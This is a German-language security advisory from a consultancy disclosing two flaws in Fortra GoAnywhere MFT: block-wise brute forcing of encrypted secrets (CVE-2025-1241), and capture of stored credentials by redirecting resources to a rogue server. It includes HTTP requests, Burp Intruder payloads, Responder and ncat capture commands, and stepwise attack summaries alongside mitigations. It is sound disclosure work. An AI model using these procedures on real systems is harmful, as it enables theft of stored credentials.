Aufschlüsselung der Sicherheitslücke: Fortra GoAnywhere – Entschlüsselung geheimer Daten (CVE)
> News und Events > Aufschlüsselung der Sicherheitslücke: Fortra GoAnywhere – Entschlüsselung geheimer Daten (CVE)
Am 7. Januar 2025 entdeckte Robin Wolters von Bureau Veritas Cybersecurity zwei Schwachstellen in der Fortra GoAnywhere MFT (Secure Managed File Transfer Software), von denen eine kürzlich die Kennung CVE-2025-1241erhielt .
Die bei diesen Tests verwendete Version ist GoAnywhere Version 7.6.0 Build 44.
Auf der Produktseite von GoAnywhere MFT wird erwähnt , dass die Software dazu verwendet werden kann , sensible Daten wie PHI, PII und Karteninformationen sowohl während der Übertragung als auch im Ruhezustand zu schützen. Dies bedeutet, dass eine Sicherheitslücke zu einer Kompromittierung oder Störung dieser sensiblen Daten bei Kunden der GoAnywhere MFT-Software führen könnte.
Die identifizierten Schwachstellen führen beide zur Offenlegung von Geheimnissen, die verschlüsselt gespeichert sind. Die erste Schwachstelle ermöglicht es einem Angreifer, alle gespeicherten verschlüsselten Geheimnisse mittels Brute-Force-Angriffen zu knacken, da der verwendete Verschlüsselungsmechanismus eine Schwachstelle aufweist. Der Mechanismus verschlüsselt Geheimnisse mithilfe einer Blockverschlüsselung in Blöcken von 8 Zeichen. Aus diesem Grund können Brute-Force-Angriffe auf die verschlüsselten Geheimnisse in Blöcken von 8 Zeichen durchgeführt werden, wodurch die effektive Länge des ursprünglichen Geheimnisses begrenzt wird. Die Verwendung eines 24-stelligen Passworts würde bedeuten, dass drei Blöcke zu je 8 Zeichen per Brute-Force geknackt werden müssen, anstatt eines einzigen 24-stelligen Passworts. Die Schwachstelle ermöglichte es einem Angreifer zudem, die ungefähre Länge des Geheimnisses bis auf die Blockgröße genau zu bestimmen, was die Stärke der Verschlüsselung weiter einschränkte. Diese Schwachstelle wurde mit der Kennung CVE-2025-1241 versehen.
Die zweite Schwachstelle ermöglicht es einem Angreifer, Klartext-Anmeldedaten für zuvor konfigurierte Ressourcen vom System zu erhalten. Ressourcen können mit Konten für die Authentifizierung bei der Remote-Ressource konfiguriert werden. Das Passwort dieses Kontos wird dem Benutzer nach der Erstkonfiguration nicht angezeigt; es kann lediglich durch ein neues ersetzt werden. Durch Bearbeiten der Zieladresse der Ressource kann die Authentifizierung der Ressource jedoch auf einen Server umgeleitet werden, der unter der Kontrolle eines Angreifers steht. Bei entsprechender Konfiguration kann dieser böswillige Server so eingerichtet werden, dass er die Anmeldedaten aus der Authentifizierung erfasst, was entweder zum Klartext-Passwort oder zu den Anmeldedaten in einem dienstspezifischen Format führt. Dieser Sicherheitslücke wurde keine CVE-Nummer zugewiesen, da sie in der Art und Weise begründet ist, wie die Geheimnisse verwendet werden.
Szenario 1:
Brute-Force-Angriff auf Geheimnisse
Bei der Untersuchung des Admin-Portals von GoAnywhere stieß ich auf das Verschlüsselungstool. Dieses Tool ermöglichte es einem Administrator, Klartext-Passwörter zu verschlüsseln, um sie sicher als Variablen in Projekten zu verwenden. Das Herumprobieren mit dem Verschlüsselungstool ergab interessante Ergebnisse:
12345678
1234567812345678
123456781234567812345678
12345678123456781234567812345678Dies führte zu den folgenden verschlüsselten Zeichenfolgen:
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY= *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo 9LsBl4QwBERxDQskrElu8Q== *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPoNujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=
Der unveränderliche Anfangsteil der verschlüsselten Zeichenfolge kann ein Hinweis auf die Verwendung einer Blockverschlüsselung sein. Dies würde bedeuten, dass ein Geheimnis in Blöcken von 8 Zeichen entschlüsselt werden könnte, anstatt das gesamte Geheimnis per Brute-Force-Angriff knacken zu müssen, was die Wirksamkeit der Passwortlänge erheblich einschränken würde.
Die Anwendung wurde auf die Verwendung dieser verschlüsselten Zeichenfolgen überprüft. Die untersuchte Instanz verwendete die verschlüsselten Zeichenfolgen jedoch nicht, wie vermutet, in Variablen. Andere Stellen wurden untersucht, beispielsweise die Konfigurationsdateien der Anwendung. Ein Beispiel war die Datei database-2024-11-21-14-19-17.xml, die eine verschlüsselte Zeichenfolge für die Datenbankverbindung enthielt:
*1:1ijs[REDACTED]THKA==
Die ungefähre Länge dieses Passworts lässt sich aufgrund der verwendeten Blockverschlüsselung bestimmen. Mit Hilfe des Verschlüsselungstools werden dem Klartext-String neue Zeichen hinzugefügt, bis die verschlüsselte Ausgabe der Länge des verschlüsselten Strings ( 91) entspricht:
1234567
*1:nxdAwBailruj46Be4+DAyA==
12345678
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
1234567812345678123456781
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
jZmTjkbe912yN/xOHF4j1A==
1234567812345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
CeobjfYj3HF2rsDkX/0udg==
12345678123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=
Dies zeigt, dass die ursprüngliche Eingabe zwischen 24 (123456781234567812345678) und 31 ( 1234567812345678123456781234567) Zeichen liegen würde.
Ein weiteres Beispiel findet sich in der Ressourcenverbindung. Obwohl die Anwendung die verschlüsselten Zeichenfolgen in der Webkonsole nicht anzeigte, war es möglich, diese durch Exportieren der Konfiguration einer Ressource auszulesen. Für den Proof-of-Concept zum Brute-Force-Angriff auf eine verschlüsselte Zeichenfolge wurde eine neue SSH-Server-Ressource erstellt:
POST /goanywhere/resources/ConfigureResource.xhtml HTTP/1.1 Host: il-vbu.acp.kvk.nl:9000 Cookie: ASESSIONID=[...] Content-Type: application/x-www-form-urlencoded resourceForm%3AbtnSave=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3A j_id_45%3A2%3Ata=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_4 5%3A3%3Atf=10.30.50.66&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj _id_45%3A4%3Atf=8022&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id _45%3A5%3Atf=Secura&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_45%3A6%3Aef_pwd_hinput=44332211112233441324&[...]
Die Ressourcenkonfiguration wurde heruntergeladen:
<?xml version="1.0" encoding="UTF-8" ?> Secura-Testserver Default 10.30.XX.XX 8022 Secura <password>*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
Mit der oben beschriebenen Methode konnte die ungefähre Länge des Passworts ermittelt werden, die zwischen 16 und 24 Zeichen lag:
123456781234567*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=1234567812345678*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x44332211112233441324*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh12345678123456781234567*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9FTti437Mrc8Lm9kAqI5/YK123456781234567812345678*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo 9LsBl4QwBERxDQskrElu8Q==
Das Verschlüsselungstool wurde in Kombination mit Burp Intruder verwendet, um die verschlüsselte Zeichenfolge per Brute-Force-Angriff zu knacken. Wie bereits erwähnt, war der Brute-Force-Angriff in Abschnitten von 8 Zeichen möglich. Anstatt also ein Passwort mit 24 Zeichen knacken zu müssen, war es möglich, 3 Passwörter mit maximal 8 Zeichen zu knacken. Der Zeichenbereich war auf Zahlen beschränkt, da es sich um einen Online-Brute-Force-Angriff auf ein Live-System handelte.
Der erste Abschnitt wurde geknackt, indem die ersten 24 Zeichen der verschlüsselten Ausgabe betrachtet wurden:
*1:5hiwElHNzJKgMS5gDUVO0wgSYOvW7qH5dXA/Pi73oGI=
Der erste Abschnitt des Passworts wurde geknackt
Der Klartext wurde anschließend vor dem weiteren Abschnitt zur Brute-Force-Attacke in die Intruder-Konfiguration eingefügt.
javax.faces.partial.ajax=true&javax.faces.source=j_id_26_a& javax.faces.partial.execute=%40all&javax.faces.partial.render=j_id_28%3A j_id_2b%3AencryptedOutput&j_id_26_a=j_id_26_a&j_id_28%3Aj_id_2b%3Ainput_hinput=44332211§INPUT§&[...]
Der nächste Abschnitt wurde per Brute-Force-Angriff durchprobiert, bis eine Übereinstimmung mit den ersten 45 Zeichen der verschlüsselten Zeichenfolge gefunden wurde.
*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
Der Ansatz für den letzten Abschnitt war etwas anders, da wir nicht wissen konnten, ob das Passwort 16 oder 23 Zeichen lang war. Das bedeutet, dass jede Länge von 1 bis 7 per Brute-Force-Methode durchprobiert werden musste:
Burp-Intruder-Konfiguration zum Knacken des letzten Abschnitts
Schließlich wurde auch der letzte Teil des Passworts geknackt:
Der letzte Abschnitt des Passworts wurde geknackt
Zusammenfassung
Diese Schwachstelle ermöglicht es einem Angreifer, in der Anwendung verwendete Geheimnisse in Blöcken von 8 Zeichen per Brute-Force-Angriff zu knacken. Dies schränkt die effektive Stärke des verwendeten Geheimnisses ein und ermöglicht es einem Angreifer, Zugriff auf konfigurierte Ressourcen wie SSH-Server, Datenbanken, Dateifreigaben oder andere zu erlangen. Die folgenden Schritte fassen die Prozesse zusammen:
- Rufen Sie ein verschlüsseltes Geheimnis aus der Anwendung ab, beispielsweise durch Auslesen einer Konfigurationsdatei oder durch Exportieren einer Ressource.
- Sich beim Portal mit ausreichenden Berechtigungen authentifizieren, um auf das Verschlüsselungstool zugreifen zu können.
- Ermitteln Sie die ungefähre Länge des Geheimnisses mithilfe des Verschlüsselungstools.
- Wenden Sie die Methode Ihrer Wahl an, um das Geheimnis über das Verschlüsselungstool per Brute-Force-Angriff zu knacken. Dies kann beispielsweise mit Hydra, Burp Intruder oder einem kundeneigenen Skript erfolgen.
- Führen Sie für jeden Block des verschlüsselten Geheimnisses einen Brute-Force-Angriff durch, um das ursprüngliche Geheimnis im Klartext abzurufen.
Nachstehend finden Sie einen CVSS-Wert als Hinweis auf die entdeckte Schwachstelle:
Indikativer CVSS3.1-Wert für dieses Szenario
Abhilfemaßnahmen
Aktualisieren Sie die Anwendung auf Version 7.10.0. Dieser Patch wurde am 20. April 2026 veröffentlicht. Beschränken Sie generell die Anzahl der Administratoren nach dem Prinzip der geringsten Berechtigungen, um den Zugriff auf diese Art von Schwachstellen zu verhindern.
Szenario 2:
Übertragung von Geheimnissen im Klartext
Ressourcen wie SSH-Server oder Netzwerkfreigaben können im Admin-Portal konfiguriert werden. Für diese Ressourcen sind häufig Anmeldedaten erforderlich, die gespeichert werden können. Es ist nicht möglich, das (verschlüsselte) Passwort über die Weboberfläche auszulesen:
Das verschlüsselte Passwort einer Ressource bleibt für den Benutzer verborgen
Ein Benutzer mit ausreichenden Berechtigungen kann die Ressourcen ändern. Durch Ändern der Serveradresse einer Netzwerkfreigabe kann der Authentifizierungsversuch vom ursprünglichen Server auf einen böswilligen Server umgeleitet werden. Der böswillige Server könnte eingehende Authentifizierungen überwachen, um diese abzufangen, beispielsweise mit Responder:
$ sudo responder -I eth0 -A [+] Server: SMB-Server [ON] [+] Warten auf Ereignisse... [+] Responder befindet sich im Analysemodus. Es werden keine NBT-NS-, LLMNR- oder MDNS-Anfragen manipuliert. [...] [SMB] NTLMv2-SSP-Client : 10.7.255.101 [SMB] NTLMv2-SSP-Benutzername : TEST\secura [SMB] NTLMv2-SSP-Hash :secura::TEST:6a6c638bcaee13bb:A5FF[...]0000
Dieser Hash kann dann in einem Offline-Brute-Force-Angriff verwendet werden, um das konfigurierte Passwort der Ressource abzurufen. Alternativ könnten einige Leistungen das Senden von Passwörtern zulassen, die nicht geknackt werden müssen. Ein Beispiel hierfür wären HTTP(S)-Server. Für den PoC wurde ein neuer HTTP-Server erstellt, und die Funktion „Test“ wurde verwendet, um die Verbindung zu testen und somit das gespeicherte Passwort über die HTTP-Verbindung zu senden:
Die Verbindung zum HTTP-Server wurde getestet, wobei das Passwort gesendet wurde
Der bösartige Server empfing die folgende Verbindung vom GoAnywhere-Client:
$ ncat -lvp 8000 Ncat: Version 7.94SVN ( https://nmap.org/ncat ) Ncat: Lauscht auf [::]:8000 Ncat: Lauscht auf 0.0.0.0:8000 Ncat: Verbindung von 10.7.255.101:16047. GET / HTTP/1.1 Connection: close Authorization: BasicVGVzdDp0ZXN0cGFzc3dvcmQ=User-Agent: Jakarta Commons-HttpClient/3.1 Host: 10.30.50.66:8000
Der Base64-Code wurde in den ursprünglichen Benutzernamen und das Passwort entschlüsselt:
Test:testpassword
Zusammenfassung
Diese Schwachstelle ermöglicht es einem Angreifer, unverschlüsselte Geheimnisse aus der Anwendung abzurufen, die normalerweise in verschlüsselter Form gespeichert sind. Je nach verwendetem Protokoll können diese Geheimnisse entweder im Klartext oder in einem protokollspezifischen Format empfangen werden. Die folgenden Schritte fassen den Vorgang zusammen:
- Authentifizieren Sie sich beim Portal mit ausreichenden Berechtigungen, um auf die Ressourcen zuzugreifen.
- Wählen Sie ein Protokoll und eine Ressource als Ziel aus.
- Richten Sie einen gefälschten Server ein, der über das Zielprotokoll kommunizieren und Authentifizierungsdaten erfassen kann; beispielsweise kann Responder zum Sammeln von SMB-Daten verwendet werden.
- Bearbeiten Sie die Ressource, um die Zieladresse auf den bösartigen Server umzuleiten.
- Verwenden Sie die Testfunktion, um einen Authentifizierungsversuch zu erhalten, ohne die neuen Einstellungen zu speichern.
Nachstehend finden Sie einen CVSS-Wert als Hinweis auf die entdeckte Schwachstelle:
Indikativer CVSS3.1-Wert für dieses Szenario
Abhilfemaßnahmen
Es wird kein Update zur Verfügung stehen, um diese Methode zu verhindern. Eine Abhilfe für dieses Verhalten würde die Verwaltung der Anwendung erschweren und weniger benutzerfreundlich machen. Eine mögliche Lösung wäre, das Hinzufügen von Zertifikaten zur Konfiguration zuzulassen, um die Identität des Zielservers sicherzustellen. Generell sollten Sie die Anzahl der Administratoren nach dem Prinzip der geringsten Berechtigungen begrenzen, um den Zugriff auf diese Art von Schwachstellen zu verhindern.
Warum sollten Sie sich für Bureau Veritas Cybersecurity entscheiden?
Bureau Veritas Cybersecurity ist Ihr kompetenter Partner für Cybersicherheit. Wir unterstützen Unternehmen dabei, Risiken zu identifizieren, ihre Abwehrmaßnahmen zu stärken und Cybersicherheitsstandards und -vorschriften einzuhalten. Unsere Dienstleistungen umfassen Menschen, Prozesse und Technologien, von Sensibilisierungsschulungen und Social Engineering bis hin zu Sicherheitsberatung, Compliance und Penetrationstests.
Wir sind in IT-, OT- und IoT-Umgebungen tätig und unterstützen sowohl digitale Systeme als auch vernetzte Produkte. Mit über 300 Cybersicherheitsexperten weltweit verbinden wir fundiertes technisches Fachwissen mit einer globalen Präsenz. Bureau Veritas Cybersecurity ist Teil der Bureau Veritas Group, einem weltweit führenden Unternehmen im Bereich Prüfung, Inspektion und Zertifizierung.